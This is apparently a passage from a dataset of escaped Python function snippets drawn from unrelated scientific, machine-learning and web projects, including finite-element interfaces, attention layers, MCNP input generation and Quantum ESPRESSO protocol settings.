len([tacs_id for tacs_id in local_tacs_ids if tacs_id != -1])\\n\\n # reverse the tacs id to nastran ids map since we want tacs_id => nastran_id - 1\\n nastran_ids = np.zeros((n_tacs_ids), dtype=np.int64)\\n for nastran_id_m1, tacs_id in enumerate(local_tacs_ids):\\n if tacs_id != -1:\\n nastran_ids[tacs_id] = int(nastran_id_m1 + 1)\\n\\n # convert back to list of nastran_ids owned by this processor in order\\n struct_id = list(nastran_ids)\\n\\n # We might need to clean up this code. This is making educated guesses\\n # about what index the temperature is stored. This could be wrong if things\\n # change later. May query from TACS directly?\\n if assembler is not None and thermal_index == -1:\\n varsPerNode = assembler.getVarsPerNode()\\n\\n # This is the likely index of the temperature variable\\n if varsPerNode == 1: # Thermal only\\n thermal_index = 0\\n elif varsPerNode == 4: # Solid + thermal\\n thermal_index = 3\\n elif varsPerNode >= 7: # Shell or beam + thermal\\n thermal_index = varsPerNode - 1\\n\\n # Broad cast the thermal index to ensure it's the same on all procs\\n thermal_index = comm.bcast(thermal_index, root=0)\\n\\n # Create the tacs interface\\n return cls(\\n comm,\\n model,\\n assembler,\\n gen_output,\\n thermal_index=thermal_index,\\n struct_id=struct_id,\\n tacs_comm=tacs_comm,\\n override_rotx=override_rotx,\\n Fvec=Fvec,\\n )\",\n \"def __init__(self, *args, **kwargs):\\n global _image3D_index\\n mambaComposed.sequenceMb.__init__(self, *args, **kwargs)\\n \\n self.name = \\\"Image3D \\\"+str(_image3D_index)\\n _image3D_index = _image3D_index + 1\\n \\n if kwargs.has_key(\\\"displayer\\\"):\\n self._displayerUsr = kwargs[\\\"displayer\\\"]\\n else:\\n self._displayerUsr = None\\n self._displayerPjt = m3D.getProjDisplayer\\n self._displayerVtk = m3D.getVtkDisplayer\\n self._displayPjt = None\\n self._displayUsr = None\\n self._displayVtk = None\\n \\n self.mb3DIm = core3D.MB3D_Image(list(map(lambda im: im.mbIm, self.seq)))\",\n \"def create_pcpp(account, row, issue_map):\\n country_name = row['LOCATION']\\n country = Country.objects.filter(name__iexact=country_name).first()\\n if not country:\\n logging.getLogger('peacecorps.sync_accounting').warning(\\n \\\"%s: Country does not exist: %s\\\", row['PROJ_NO'], row['LOCATION'])\\n issue = issue_map.find(row['SECTOR'])\\n if not issue and row['SECTOR'] != 'None':\\n logging.getLogger('peacecorps.sync_accounting').warning(\\n \\\"%s: Sector does not exist: %s\\\", row['PROJ_NO'], row['SECTOR'])\\n\\n if country and (issue or row['SECTOR'] == 'None'):\\n set_balances(row, account)\\n account.save()\\n\\n volunteername = row['PCV_NAME']\\n if volunteername.startswith(row['STATE']):\\n volunteername = volunteername[len(row['STATE']):].strip()\\n\\n summary = clean_description(row['SUMMARY'])\\n sirtrevorobj = {\\\"data\\\": [{\\\"type\\\": \\\"text\\\", \\\"data\\\": {\\\"text\\\": summary}}]}\\n description = json.dumps(sirtrevorobj)\\n\\n project = Project(\\n title=row['PROJ_NAME1'], country=country, account=account,\\n volunteername=volunteername, volunteerhomestate=row['STATE'],\\n description=description\\n )\\n if issue:\\n project.overflow = issue.account\\n project.save()\\n project.campaigns.add(issue)\\n else:\\n project.save()\",\n \"def New(*args, **kargs):\\n obj = itkMeshSourcePSUS3.__New_orig__()\\n import itkTemplate\\n itkTemplate.New(obj, *args, **kargs)\\n return obj\",\n \"def GachaCraftNodeExcelAddGP1103(builder, GP1103):\\n return AddGP1103(builder, GP1103)\",\n \"def create_plaquette(self, baseStr, fidpairs=None):\\n if fidpairs is None:\\n fidpairs = list(_itertools.product(range(len(self.prepStrs)),\\n range(len(self.effectStrs))))\\n\\n elements = [(j, i, self.prepStrs[i] + baseStr + self.effectStrs[j])\\n for i, j in fidpairs] # note preps are *cols* not rows\\n real_fidpairs = [(self.prepStrs[i], self.effectStrs[j]) for i, j in fidpairs] # strings, not just indices\\n\\n return CircuitPlaquette(baseStr, len(self.effectStrs),\\n len(self.prepStrs), elements,\\n self.aliases, real_fidpairs)\",\n \"def goify(self, layout=None):\\n xx,yy,zz = self.getXYZ(layout)\\n surf = dict(\\n type='surface',\\n x=xx,\\n y=yy,\\n z=zz\\n )\\n return surf\",\n \"def __init__(self,mf,rnmf,exemt3dms,modelname,workspace,dataspace,fltfile):\\n #Constructor begins here\\n self.__exefile=exemt3dms\\n self.__workspace=workspace\\n self.__dataspace=dataspace\\n self.__modelname=modelname\\n self.__ftlnm=fltfile\\n \\n # create mt3dms model object\\n self.__mt = flopy.mt3d.Mt3dms(modflowmodel=mf, modelname=self.__modelname, \\n exe_name=self.__exefile , ftlfilename=self.__ftlnm,\\n model_ws=self.__workspace)\\n \\n # basic transport package\\n perlen=rnmf.getPerlen()\\n nper=rnmf.getNper()\\n nstp=rnmf.getNstp()\\n self.__btn = flopy.mt3d.Mt3dBtn(self.__mt, prsity=0.3, icbund = 1, sconc=0.0, ncomp=1, \\n perlen = perlen, nper=nper, nstp = nstp, tsmult = 1.0, \\n nprs = -1, nprobs = 10, cinact = -1, chkmas=True)\\n \\n # advaction package\\n self.__adv = flopy.mt3d.Mt3dAdv(self.__mt, mixelm=-1, percel=0.75)\\n # dispersion package\\n self.__dsp = flopy.mt3d.Mt3dDsp(self.__mt, al=1000, trpt=0.1, trpv=0.1, dmcoef=1e-09)\\n #Forcing objects\\n itype = flopy.mt3d.Mt3dSsm.itype_dict()\\n print(itype)\\n print(flopy.mt3d.Mt3dSsm.get_default_dtype())\\n wellbld=rnmf.getWelBld()\\n self.__ssm=wellbld.createssm(self.__mt,itype)\\n # matrix solver package\\n self.__gcg = flopy.mt3d.Mt3dGcg(self.__mt, cclose=1e-6)\",\n \"def New(*args, **kargs):\\n obj = itkLabelShapeOpeningImageFilterIUC3.__New_orig__()\\n import itkTemplate\\n itkTemplate.New(obj, *args, **kargs)\\n return obj\",\n \"def build_roi_box_head(cfg):\\n return ROIBoxHead3D(cfg)\",\n \"def build_pcb(self, bg=None):\",\n \"def __init__(self, params):\\n super().__init__(params)\\n params = self.params\\n\\n assert not params.packed_input, 'Packed input not implemented yet.'\\n\\n if not params.rel_pos_radius:\\n raise ValueError('Invalid rel_pos_radius: %s' % params.rel_pos_radius)\\n\\n if params.rel_pos_emb_dim is None:\\n rel_pos_emb_dim = params.hidden_dim\\n else:\\n rel_pos_emb_dim = params.rel_pos_emb_dim\\n\\n rel_pos_emb_tpl = layers.RelativePositionalEmbeddingLayer.Params().Set(\\n radius=params.rel_pos_radius, dim=rel_pos_emb_dim)\\n if rel_pos_emb_dim != params.hidden_dim:\\n # Projection layer for relative position encoding\\n dim_per_head = params.hidden_dim // params.num_heads\\n pos_proj_tpl = params.proj_tpl.Copy().Set(\\n input_dim=rel_pos_emb_dim,\\n num_heads=params.num_heads,\\n dim_per_head=dim_per_head,\\n use_bias=False)\\n else:\\n pos_proj_tpl = None\\n\\n self.CreateChild('key_emb', rel_pos_emb_tpl)\\n # Add projection layer if rel_pos_emb_dim is different from hidden_dim.\\n if pos_proj_tpl is not None:\\n self.CreateChild('key_pos_proj', pos_proj_tpl)\\n if not params.skip_value_emb:\\n self.CreateChild('value_emb', rel_pos_emb_tpl)\\n if pos_proj_tpl is not None:\\n self.CreateChild('value_pos_proj', pos_proj_tpl)\\n self.CreateChild('pos_atten_logits', params.pos_atten_logits_tpl)\",\n \"def fusion_api_create_virtual_switch_layout(self, body, api=None, headers=None):\\n return self.cluster_profile.create(body=body, api=api, headers=headers, param='/virtualswitch-layout')\",\n \"def generate_skeleton(self, ci, qname):\\n symbol_table = ci.epv.symbol_table\\n cls = ci.co\\n\\n\\n # Skeleton (in Chapel)\\n self.pkg_chpl_skel.gen(ir.Import('.'.join(symbol_table.prefix)))\\n\\n self.pkg_chpl_skel.new_def('use sidl;')\\n objname = '.'.join(ci.epv.symbol_table.prefix+[ci.epv.name]) + '_Impl'\\n\\n self.pkg_chpl_skel.new_def('extern record %s__object { var d_data: opaque; };'\\n %qname)#,objname))\\n self.pkg_chpl_skel.new_def('extern proc %s__createObject('%qname+\\n 'd_data: int, '+\\n 'out ex: sidl_BaseInterface__object)'+\\n ': %s__object;'%qname)\\n self.pkg_chpl_skel.new_def(ci.chpl_skel)\\n\\n\\n # Skeleton (in C)\\n cskel = ci.chpl_skel.cstub\\n cskel._name = qname+'_Skel'\\n cskel.gen(ir.Import('stdint'))\\n cskel.gen(ir.Import('stdio'))\\n cskel.gen(ir.Import(cskel._name))\\n cskel.gen(ir.Import(qname+'_IOR'))\\n cskel.gen(ir.Fn_defn([], ir.pt_void, qname+'__call_load', [],\\n [ir.Comment(\\\"FIXME: [ir.Stmt(ir.Call('_load', []))\\\")], ''))\\n\\n # set_epv ... Setup the entry-point vectors (EPV)s\\n #\\n # there are 2*3 types of EPVs:\\n # epv: regular methods\\n # sepv: static methods\\n # pre_(s)epv: pre-hooks\\n # post_(s)epv: post-hooks\\n epv_t = ci.epv.get_ir()\\n sepv_t = ci.epv.get_sepv_ir()\\n pre_epv_t = ci.epv.get_pre_epv_ir()\\n pre_sepv_t = ci.epv.get_pre_sepv_ir()\\n post_epv_t = ci.epv.get_post_epv_ir()\\n post_sepv_t = ci.epv.get_post_sepv_ir()\\n cskel.gen(ir.Fn_decl([], ir.pt_void, 'ctor', [], ''))\\n cskel.gen(ir.Fn_decl([], ir.pt_void, 'dtor', [], ''))\\n\\n epv_init = []\\n sepv_init = []\\n for m in builtins+cls.get_methods():\\n fname = m[2][1] + m[2][2]\\n attrs = sidlir.method_method_attrs(m)\\n static = member_chk(sidlir.static, attrs)\\n def entry(stmts, epv_t, table, field, pointer):\\n stmts.append(ir.Set_struct_item_stmt(epv_t, ir.Deref(table), field, pointer))\\n\\n if static: entry(sepv_init, sepv_t, 'sepv', 'f_'+fname, '%s_%s_skel'%(qname, fname))\\n else: entry(epv_init, epv_t, 'epv', 'f_'+fname, '%s_%s_skel'%(qname, fname))\\n\\n builtin_names = ['_ctor', '_ctor2', '_dtor']\\n with_hooks = member_chk(ir.hooks, attrs)\\n if fname not in builtin_names and with_hooks:\\n if static: entry(sepv_init, pre_sepv_t, 'pre_sepv', 'f_%s_pre'%fname, 'NULL')\\n else: entry(epv_init, pre_epv_t, 'pre_epv', 'f_%s_pre'%fname, 'NULL')\\n if static: entry(sepv_init, post_sepv_t, 'post_sepv', 'f_%s_post'%fname, 'NULL')\\n else: entry(epv_init, post_epv_t, 'post_epv', 'f_%s_post'%fname, 'NULL')\\n\\n pkgname = '_'.join(ci.epv.symbol_table.prefix)\\n\\n dummyargv = '''\\n char* argv[] = { \\n babel_program_name,\\n \\\"-nl\\\", /* number of locales */\\n \\\"\\\",\\n \\\"-v\\\", /* verbose chapel runtime */\\n NULL\\n };\\n argv[2] = getenv(\\\"SLURM_NTASKS\\\");\\n if (argv[2] == NULL) {\\n fprintf(stdout, \\\"**ERROR: please set the SLURM_NTASKS environment variable\\\\\\\\n\\\"\\n \\\" to the desired number of Chapel locales.\\\");\\n argv[2] = \\\"0\\\";\\n }\\n int ignored = setenv(\\\"GASNET_BACKTRACE\\\", \\\"1\\\", 1);\\n'''\\n cskel.genh(ir.Import('stdlib'))\\n cskel.pre_def('extern int chpl_init_library(int argc, char* argv[]);')\\n cskel.pre_def('// You can set this to argv[0] in main() to get better debugging output')\\n cskel.pre_def('char* __attribute__((weak)) babel_program_name = \\\"BRAID_LIBRARY\\\";')\\n # These are now called by chpl_init_library -> chpl_gen_init\\n #cskel.pre_def('extern void chpl__init_chpl__Program(int, const char*);')\\n #cskel.pre_def('extern void chpl__init_%s_Impl(int, const char*);'%pkgname)\\n init_code = [dummyargv,\\n 'int locale_id = chpl_init_library(4, argv)',\\n # 'chpl__init_chpl__Program(__LINE__, __FILE__)',\\n # 'chpl__init_%s_Impl(__LINE__, __FILE__)'%pkgname\\n ]\\n init_code = map(lambda x: (ir.stmt, x), init_code)\\n epv_init.extend(init_code)\\n sepv_init.extend(init_code)\\n\\n cskel.gen(ir.Fn_defn(\\n [], ir.pt_void, qname+'__set_epv',\\n [ir.Arg([], ir.out, epv_t, 'epv'),\\n ir.Arg([], ir.out, pre_epv_t, 'pre_epv'),\\n ir.Arg([], ir.out, post_epv_t, 'post_epv')],\\n epv_init, ''))\\n\\n if sepv_t:\\n cskel.gen(ir.Fn_defn(\\n [], ir.pt_void, qname+'__set_sepv',\\n [ir.Arg([], ir.out, sepv_t, 'sepv'),\\n ir.Arg([], ir.out, pre_sepv_t, 'pre_sepv'),\\n ir.Arg([], ir.out, post_sepv_t, 'post_sepv')],\\n sepv_init, ''))\\n\\n # C Skel\\n for code in cskel.optional:\\n cskel.new_global_def(code)\\n cskel.write()\",\n \"def create(self):\\n\\t\\t\\n\\t\\tflagbyte = 0\\n\\t\\tif self.synf: flagbyte += 1\\n\\t\\tif self.ackf: flagbyte += 2\\n\\t\\t\\n\\t\\tself.header = struct.pack(\\\">IBIII\\\", self.connid, flagbyte, self.seqn, self.ackn, self.recv)\\n\\t\\t\\n\\t\\tself.data = self.header+self.payload\",\n \"def create(connection, args):\\n\\n metadata = sap.adt.ADTCoreData(language='EN', master_language='EN', responsible=connection.user.upper())\\n iface = sap.adt.Interface(connection, args.name.upper(), package=args.package.upper(), metadata=metadata)\\n iface.description = args.description\\n iface.create()\",\n \"def create(self):\\n # TODO: Properly validate data\\n self._proj()\\n if self.cfg.align_heading:\\n self._align()\\n self._griddata()\\n if self.cfg.gap_filter[\\\"algorithm\\\"] != \\\"none\\\":\\n self._gap_filter()\",\n \"def __init__(self):\\n Page.__init__(self, u\\\"Paraboloide Elíptico<br><br>F(x,y)=(x, y, x<sup>2</sup>/a<sup>2</sup> + y<sup>2</sup>/b<sup>2</sup>)\\\")\\n\\n z = 0.5\\n par = RevolutionPlot3D(lambda r, t: r ** 2 + z, (0, 1), (0, 2 * pi))\\n\\n x, y, z2, u, v, cose, sen, t = createVars(['x', 'y', 'z', 'u', 'v', 'cos', 'sen', 't'])\\n\\n mesh1 = Plot3D(lambda x, y, h: h * (x ** 2 + y ** 2 + z - .01), (-1, 1), (-1, 1))\\n mesh1.addEqn(x**2+y**2 - z2**2 == 1)\\n mesh1.addFunction(lambda x, y, h: h * (x ** 2 + y ** 2 + z + .01))\\n mesh1.setLinesVisible(True)\\n mesh1.setMeshVisible(False)\\n mesh1.setBoundingBox(zrange=(-1, 1.5))\\n par.setAmbientColor(_1(145, 61, 74))\\n par.setDiffuseColor(_1(145, 61, 74))\\n par.setSpecularColor(_1(145, 61, 74))\\n baseplane = BasePlane()\\n baseplane.setHeight(0)\\n baseplane.setRange((-2, 2, 7))\\n\\n self.addChild(par)\\n self.addChild(mesh1)\\n self.addChild(baseplane)\",\n \"def __init__(self, params):\\n super().__init__(params)\\n p = self.params\\n assert p.input_dim, f'input_dim is {p.input_dim}'\\n assert p.hidden_dim, f'hidden_dim is {p.hidden_dim}'\\n assert p.num_heads > 0, f'num_heads is {p.num_heads}'\\n # if proj_tpl does not have dim_per_head set, set it\\n if p.proj_tpl.dim_per_head == 0:\\n p.proj_tpl.dim_per_head = self.dim_per_head\\n\\n if p.device_mesh is not None:\\n assert p.weight_split_dims_mapping is not None\\n assert p.activation_split_dims_mapping is not None\\n\\n if isinstance(p.weight_split_dims_mapping, dict):\\n qkv_weight_split_dims_mapping = p.weight_split_dims_mapping['qkv']\\n post_weight_split_dims_mapping = p.weight_split_dims_mapping['post']\\n else:\\n qkv_weight_split_dims_mapping = p.weight_split_dims_mapping\\n post_weight_split_dims_mapping = p.weight_split_dims_mapping\\n\\n def ProjectInput(input_dim):\\n return p.proj_tpl.Copy().Set(\\n input_dim=input_dim,\\n num_heads=p.num_heads,\\n use_bias=p.use_bias,\\n device_mesh=p.device_mesh,\\n weight_split_dims_mapping=qkv_weight_split_dims_mapping,\\n make_output_proj_no_op=False)\\n\\n def ProjectInputOneStep(input_dim):\\n return p.proj_tpl.Copy().Set(\\n input_dim=input_dim,\\n num_heads=p.num_heads,\\n dim_per_head=self.dim_per_head * 3,\\n use_bias=p.use_bias,\\n device_mesh=p.device_mesh,\\n weight_split_dims_mapping=qkv_weight_split_dims_mapping,\\n make_output_proj_no_op=False,\\n )\\n\\n if isinstance(p.input_dim, dict):\\n key_input_dim = p.input_dim['key']\\n value_input_dim = p.input_dim['value']\\n query_input_dim = p.input_dim['query']\\n assert key_input_dim, f'key_input_dim is {key_input_dim}'\\n assert query_input_dim, f'query_input_dim is {query_input_dim}'\\n else:\\n key_input_dim = p.input_dim\\n value_input_dim = p.input_dim\\n query_input_dim = p.input_dim\\n\\n if p.enable_value_proj and p.enable_qkv_proj_in_onestep:\\n self.CreateChild('qkv', ProjectInputOneStep(key_input_dim))\\n else:\\n self.CreateChild('key', ProjectInput(key_input_dim))\\n self.CreateChild('query', ProjectInput(query_input_dim))\\n if p.enable_value_proj:\\n assert value_input_dim, f'value_input_dim is {value_input_dim}'\\n self.CreateChild('value', ProjectInput(value_input_dim))\\n if p.enable_query_scale and p.enable_per_dim_scale:\\n self.CreateChild(\\n 'per_dim_scale',\\n PerDimScaleLayer.Params().Set(dim=p.proj_tpl.dim_per_head))\\n self.CreateChild('atten_dropout',\\n p.dropout_tpl.Set(keep_prob=1.0 - p.atten_dropout_prob))\\n # Setting is_output_projection=True to set the projection direction\\n # from hidden dim to input dim. Output projection follows query_input_dim.\\n self.CreateChild(\\n 'post',\\n p.proj_tpl.Copy().Set(\\n input_dim=p.output_dim or query_input_dim,\\n num_heads=p.num_heads,\\n is_output_projection=True,\\n use_bias=p.use_bias,\\n device_mesh=p.device_mesh,\\n weight_split_dims_mapping=post_weight_split_dims_mapping))\\n\\n if p.rope_tpl:\\n assert issubclass(p.rope_tpl.cls, layers.RotaryPositionalEmbeddingLayer)\\n rope_p = p.rope_tpl.Copy()\\n if rope_p.embedding_dim == 0:\\n rope_p.embedding_dim = self.dim_per_head\\n self.CreateChild('rope', rope_p)\\n\\n if p.attn_add_memory:\\n assert p.memory_tpl is not None\\n self.CreateChild(\\n 'lsh_mem',\\n p.memory_tpl.Copy().Set(\\n input_dim=self.dim_per_head,\\n output_dim=self.dim_per_head,\\n name='attn_lsh_mem'))\\n if p.use_scale_invariant_atten:\\n assert not (p.enable_scaling_code_motion or p.atten_extra_logit)\",\n \"def __init__(self, name, type_name, thickness, grid_front_area, bundles_flow_area, grid_wetted_area, rods_wetted_at_grid_area, P_wet_at_grid, P_bundles, orientation):\\n self.name = name\\n self.type = type_name\\n self.thickness = thickness\\n self.length = self.thickness\\n self.grid_front_area = grid_front_area\\n self.bundles_flow_area = bundles_flow_area\\n self.grid_wetted_area = grid_wetted_area\\n self.rods_wetted_at_grid_area = rods_wetted_at_grid_area\\n self.orientation = orientation\\n self.P_wet_at_grid = P_wet_at_grid\\n self.P_bundles = P_bundles\",\n \"def create_label(self):\\n\\n self.pc_label = Label(self.form_box, text=\\\"Primary Current [A]:\\\", anchor='nw', width=32,\\n bg=self.design.color.secondary, font=('Arial', 15))\\n self.sc_label = Label(self.form_box, text=\\\"Secondary Current [A]:\\\", anchor='nw', width=32,\\n bg=self.design.color.secondary, font=('Arial', 15))\\n self.avg_t_label = Label(self.form_box, text=\\\"Average Time [s]: \\\", anchor='nw', width=32,\\n bg=self.design.color.secondary, font=('Arial', 15))\\n self.nwt_label = Label(self.form_box, text=\\\"network type (static/dynamic):\\\", anchor='nw', width=32,\\n bg=self.design.color.secondary, font=('Arial', 15))\\n self.nw_ip_label = Label(self.form_box, text=\\\"IpAddress:\\\", anchor='nw', width=32,\\n bg=self.design.color.secondary, font=('Arial', 15))\\n self.nw_gw_label = Label(self.form_box, text=\\\"Gateway:\\\", anchor='nw', width=32, bg=self.design.color.secondary,\\n font=('Arial', 15))\\n self.nw_sm_label = Label(self.form_box, text=\\\"subnet mask:\\\", anchor='nw', width=32,\\n bg=self.design.color.secondary, font=('Arial', 15))\\n self.nw_mca_label = Label(self.form_box, text=\\\"Mac Address:\\\", anchor='nw', width=32,\\n bg=self.design.color.secondary, font=('Arial', 15))\",\n \"def create(data):\\n \\n return Part(\\n part_id = data['part_num'],\\n category_id = data['part_cat_id'],\\n external_ids = data.get('external_ids', {}),\\n name = data['name'],\\n year_from = data.get('year_from', None),\\n year_to = data.get('year_to', None),\\n url = data.get('part_url', None),\\n img_url = data.get('part_img_url', None),\\n print_of = data.get('print_of', None),\\n prints = data.get('prints', []),\\n molds = data.get('molds', []),\\n alternates = data.get('alternates', []))\",\n \"def surface_template(self, chain):\\n output_name = output_folder + \\\"/surface_output_\\\" + str(self.input_pdb_path).split(\\\"/\\\")[-1][0:-4] + \\\"_\\\" + chain\\n output_string = 'mol new ' + self.input_pdb_path + '\\\\n' \\\\\\n + 'set allsel [atomselect top \\\"all and chain ' + chain + '\\\"]' + '\\\\n' \\\\\\n + 'set chain ' + chain + '\\\\n' \\\\\\n + 'set tot_sasa [dict create ARG 241 TRP 259 TYR 229' \\\\\\n + ' LYS 211 PHE 218 MET 204 GLN 189 HIS 194 HSD 194 HSE 194 HSP 194 GLU' \\\\\\n + ' 183 LEU 180 ILE 182 ASN 158 ASP 151 CYS 140 VAL 160 THR 146 PRO 143 ' \\\\\\n + 'SER 122 ALA 113 GLY 85]' + '\\\\n' \\\\\\n + 'set residlist [lsort -unique [$allsel get resid]]' + '\\\\n' \\\\\\n + 'set surf_list [list]' + '\\\\n' \\\\\\n + 'foreach r $residlist {' + '\\\\n' \\\\\\n + 'set sel [atomselect top \\\"resid $r and chain $chain\\\"]' + '\\\\n' \\\\\\n + 'set temp_rsasa [measure sasa 1.4 $allsel -restrict $sel]' + '\\\\n' \\\\\\n + 'set temp_name [lsort -unique [$sel get resname]]' + '\\\\n' \\\\\\n + 'set temp_id [lsort -unique [$sel get resid]]' + '\\\\n' \\\\\\n + 'set temp_tot [dict get $tot_sasa $temp_name]' + '\\\\n' \\\\\\n + 'set rsasa [expr $temp_rsasa/$temp_tot]' + '\\\\n' \\\\\\n + 'if {$rsasa > 0.2} {lappend surf_list \\\"$temp_id $temp_name\\\"}' + '\\\\n' \\\\\\n + '}' + '\\\\n' \\\\\\n + 'set fileId [open ' + output_name + ' w]' + '\\\\n' \\\\\\n + 'puts $fileId $surf_list' + '\\\\n' \\\\\\n + 'close $fileId' + '\\\\n' \\\\\\n + 'quit' + '\\\\n' \\\\\\n + 'exit' + '\\\\n'\\n return output_string\",\n \"def create_instance(c_instance):\\n return VCM600(c_instance)\",\n \"def create_instance(c_instance):\\n return VCM600(c_instance)\",\n \"def __init__(self) -> None:\\n ptr = lib.wlr_output_layout_create()\\n self._ptr = ffi.gc(ptr, lib.wlr_output_layout_destroy)\\n\\n self.add_event = Signal(ptr=ffi.addressof(ptr.events.add))\\n self.change_event = Signal(ptr=ffi.addressof(ptr.events.change))\\n self.destroy_event = Signal(ptr=ffi.addressof(ptr.events.destroy))\",\n \"def _make_mcnp_input(self):\\n # Create the problem description\\n lines = ['Point source in infinite geometry']\\n\\n # Create the cell cards: material 1 inside sphere, void outside\\n lines.append('c --- Cell cards ---')\\n if self._temperature is not None:\\n kT = self._temperature * K_BOLTZMANN * 1e-6\\n lines.append(f'1 1 -{self.density} -1 imp:n=1 tmp={kT}')\\n else:\\n lines.append(f'1 1 -{self.density} -1 imp:n=1')\\n lines.append('2 0 1 imp:n=0')\\n lines.append('')\\n\\n # Create the surface cards: box centered on origin with 2e9 cm sides`\\n # and reflective boundary conditions\\n lines.append('c --- Surface cards ---')\\n lines.append('*1 rpp -1.e9 1e9 -1.e9 1.e9 -1.e9 1.e9')\\n lines.append('')\\n\\n # Create the data cards\\n lines.append('c --- Data cards ---')\\n\\n # Materials\\n if re.match('(71[0-6]nc)', self.suffix):\\n name = szax(self.nuclide, self.suffix)\\n else:\\n name = zaid(self.nuclide, self.suffix)\\n lines.append(f'm1 {name} 1.0')\\n if self.thermal is not None:\\n lines.append(f'mt1 {self.thermal}')\\n lines.append('nonu 2')\\n\\n # Physics: neutron transport\\n lines.append('mode n')\\n\\n # Source definition: isotropic point source at center of sphere\\n energy = self.energy * 1e-6\\n lines.append(f'sdef cel=1 erg={energy}')\\n\\n # Tallies: neutron flux over cell\\n lines.append('f4:n 1')\\n min_energy = self._min_energy * 1e-6\\n lines.append(f'e4 {min_energy} {self._bins-1}ilog {1.0001*energy}')\\n\\n # Problem termination: number of particles to transport\\n lines.append(f'nps {self.particles}')\\n\\n # Write the problem\\n with open(self.other_dir / 'inp', 'w') as f:\\n f.write('\\\\n'.join(lines))\",\n \"def create(cls, user, master_mix, water, robot, tm300_8_tool, tm50_8_tool,\\n volume, plates):\\n with sql_connection.TRN as TRN:\\n # Add the row to the process table\\n process_id = cls._common_creation_steps(user)\\n\\n # Add the row to the library_prep_16s_process\\n sql = \\\"\\\"\\\"INSERT INTO qiita.library_prep_16s_process\\n (process_id, master_mix_id, tm300_8_tool_id,\\n tm50_8_tool_id, water_id, processing_robot_id)\\n VALUES (%s, %s, %s, %s, %s, %s)\\n RETURNING library_prep_16s_process_id\\\"\\\"\\\"\\n TRN.add(sql, [process_id, master_mix.id, tm300_8_tool.id,\\n tm50_8_tool.id, water.id, robot.id])\\n instance = cls(TRN.execute_fetchlast())\\n\\n for gdna_plate, primer_plate in plates:\\n # Create the library plate\\n plate_ext_id = '16S library - %s' % gdna_plate.external_id\\n\\n plate_config = gdna_plate.plate_configuration\\n library_plate = plate_module.Plate.create(plate_ext_id,\\n plate_config)\\n gdna_layout = gdna_plate.layout\\n primer_layout = primer_plate.layout\\n for i in range(plate_config.num_rows):\\n for j in range(plate_config.num_columns):\\n well = container_module.Well.create(\\n library_plate, instance, volume, i + 1, j + 1)\\n composition_module.LibraryPrep16SComposition.create(\\n instance, well, volume,\\n gdna_layout[i][j].composition,\\n primer_layout[i][j].composition)\\n\\n return instance\",\n \"def setup_protocol(self):\\n self.ctx.inputs = {\\n 'codename': self.inputs.codename,\\n 'parameters': {},\\n 'settings': {},\\n 'options': ParameterData(dict={\\n 'resources': {\\n 'num_machines': 1\\n },\\n 'max_wallclock_seconds': 1800,\\n }),\\n }\\n\\n if self.inputs.protocol == 'standard':\\n self.report('running the workchain in the \\\"{}\\\" protocol'.format(self.inputs.protocol.value))\\n self.ctx.protocol = {\\n 'kpoints_mesh_offset': [0., 0., 0.],\\n 'kpoints_mesh_density': 0.2,\\n 'convergence_threshold': 2.E-06,\\n 'smearing': 'marzari-vanderbilt',\\n 'degauss': 0.02,\\n 'occupations': 'smearing',\\n 'tstress': True,\\n 'pseudo_familyname': 'SSSP',\\n 'pseudo_data': {\\n 'H': {'cutoff': 55, 'dual': 8, 'pseudo': '031US'},\\n 'He': {'cutoff': 55, 'dual': 4, 'pseudo': 'SG15'},\\n 'Li': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.4'},\\n 'Be': {'cutoff': 40, 'dual': 8, 'pseudo': 'GBRV-1.4'},\\n 'B': {'cutoff': 40, 'dual': 8, 'pseudo': '031PAW'},\\n 'C': {'cutoff': 50, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 'N': {'cutoff': 55, 'dual': 8, 'pseudo': 'THEOS'},\\n 'O': {'cutoff': 45, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 'F': {'cutoff': 50, 'dual': 8, 'pseudo': 'GBRV-1.4'},\\n 'Ne': {'cutoff': 200, 'dual': 8, 'pseudo': '100PAW'},\\n 'Na': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 'Mg': {'cutoff': 35, 'dual': 8, 'pseudo': 'GBRV-1.4'},\\n 'Al': {'cutoff': 30, 'dual': 8, 'pseudo': '100PAW'},\\n 'Si': {'cutoff': 30, 'dual': 8, 'pseudo': '100US'},\\n 'P': {'cutoff': 30, 'dual': 8, 'pseudo': '100US'},\\n 'S': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 'Cl': {'cutoff': 35, 'dual': 8, 'pseudo': 'GBRV-1.4'},\\n 'Ar': {'cutoff': 120, 'dual': 8, 'pseudo': '100US'},\\n 'K': {'cutoff': 50, 'dual': 8, 'pseudo': '100US'},\\n 'Ca': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 'Sc': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 'Ti': {'cutoff': 35, 'dual': 8, 'pseudo': 'GBRV-1.4'},\\n 'V': {'cutoff': 40, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 'Cr': {'cutoff': 40, 'dual': 8, 'pseudo': 'GBRV-1.5'},\\n 'Mn': {'cutoff': 70, 'dual': 12, 'pseudo': '031PAW'},\\n 'Fe': {'cutoff': 90, 'dual': 12, 'pseudo': '031PAW'},\\n 'Co': {'cutoff': 55, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 'Ni': {'cutoff': 45, 'dual': 8, 'pseudo': 'GBRV-1.4'},\\n 'Cu': {'cutoff': 40, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 'Zn': {'cutoff': 40, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 'Ga': {'cutoff': 35, 'dual': 8, 'pseudo': '031US'},\\n 'Ge': {'cutoff': 40, 'dual': 8, 'pseudo': '100PAW'},\\n 'As': {'cutoff': 30, 'dual': 8, 'pseudo': '031US'},\\n 'Se': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 'Br': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.4'},\\n 'Kr': {'cutoff': 100, 'dual': 8, 'pseudo': '031US'},\\n 'Rb': {'cutoff': 50, 'dual': 4, 'pseudo': 'SG15'},\\n 'Sr': {'cutoff': 35, 'dual': 8, 'pseudo': '100US'},\\n 'Y': {'cutoff': 35, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 